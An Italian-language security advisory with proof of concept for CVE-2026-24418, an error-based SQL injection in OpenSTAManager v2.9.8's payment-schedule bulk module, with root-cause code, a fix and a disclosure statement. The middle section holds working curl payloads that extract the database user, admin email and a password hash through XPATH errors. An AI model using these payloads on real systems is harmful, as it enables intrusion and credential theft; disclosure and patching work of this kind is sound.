lukasz-rybak/cve-2026-24418CVE-2026-24418 - OpenSTAManager presenta una vulnerabilità di SQL Injection nel modulo delle operazioni bulk di Scadenzario
| Campo | Dettagli |
|---|---|
| ID CVE | CVE-2026-24418 |
| Gravità | ALTA |
| Advisory | Visualizza Advisory |
| Scoperta da | Lukasz Rybak |
La vulnerabilità critica di SQL Injection basata su errori nel modulo delle operazioni bulk di Scadenzario (piano dei pagamenti) di OpenSTAManager v2.9.8 consente ad attaccanti autenticati di estrarre l'intero contenuto del database, incluse credenziali utente, dati personali (PII) dei clienti e registri finanziari, tramite messaggi di errore XML.
Stato: ✅ Confermata e testata su istanza reale (v2.9.8)
Parametro vulnerabile: id_records[] (array POST)
Endpoint interessato: /actions.php?id_module=18 (modulo Scadenzario)
Tipo di attacco: SQL Injection basata su errori (clausola IN)
OpenSTAManager v2.9.8 contiene una vulnerabilità critica di SQL Injection basata su errori nel gestore delle operazioni bulk del modulo Scadenzario (piano dei pagamenti). L'applicazione non valida che gli elementi dell'array id_records siano interi prima di utilizzarli in una clausola SQL IN(), consentendo agli attaccanti di iniettare comandi SQL arbitrari ed estrarre dati sensibili tramite messaggi di errore XPATH.
Catena di vulnerabilità:
Punto di ingresso: /actions.php (Righe 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
La funzione array_clean() rimuove solo i valori vuoti - NON valida i tipi.
Funzione vulnerabile: /lib/util.php (Righe 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
Impatto: La funzione filtra i valori vuoti ma accetta qualsiasi valore non vuoto, inclusi i payload di SQL injection.
Punto di iniezione SQL: /modules/scadenzario/bulk.php (Riga 88) VULNERABILITÀ PRIMARIA
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Impatto: Gli elementi dell'array $id_records vengono concatenati direttamente tramite implode() senza validazione dei tipi né prepare(), consentendo una SQL injection completa.
Analisi della causa principale:
La vulnerabilità esiste perché:
post('id_records') restituisce un array controllato dall'utentearray_clean() rimuove solo i valori vuoti, non i valori non interiimplode(',', $id_records) concatena gli elementi dell'array direttamente nell'SQLid_records[]=1&id_records[]=(MALICIOUS SQL)#Percorso del codice interessato:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
Passaggio 1: Login
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Passaggio 2: Verifica della vulnerabilità (SQL Injection basata su errori)
Test 1: Estrai utente e versione del database
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
Risposta (messaggio di errore visibile all'attaccante):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Test 2: Estrai le credenziali dell'amministratore
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Risposta:
<code>XPATH syntax error: '~admin:[email protected]'</code>
Test 3: Estrai l'hash della password (Parte 1 - primi 31 caratteri)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Risposta:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Test 4: Estrai l'hash della password (Parte 2 - caratteri 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Risposta:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Hash della password combinato:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Tutti gli utenti autenticati con accesso alle operazioni bulk del modulo Scadenzario (piano dei pagamenti).
Correzione consigliata:
Correzione principale - Validazione dei tipi:
File: /modules/scadenzario/bulk.php
PRIMA (Vulnerabile - Riga 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
DOPO (Corretta):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Scoperta da Łukasz Rybak
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni qui fornite hanno esclusivamente scopi educativi e difensivi.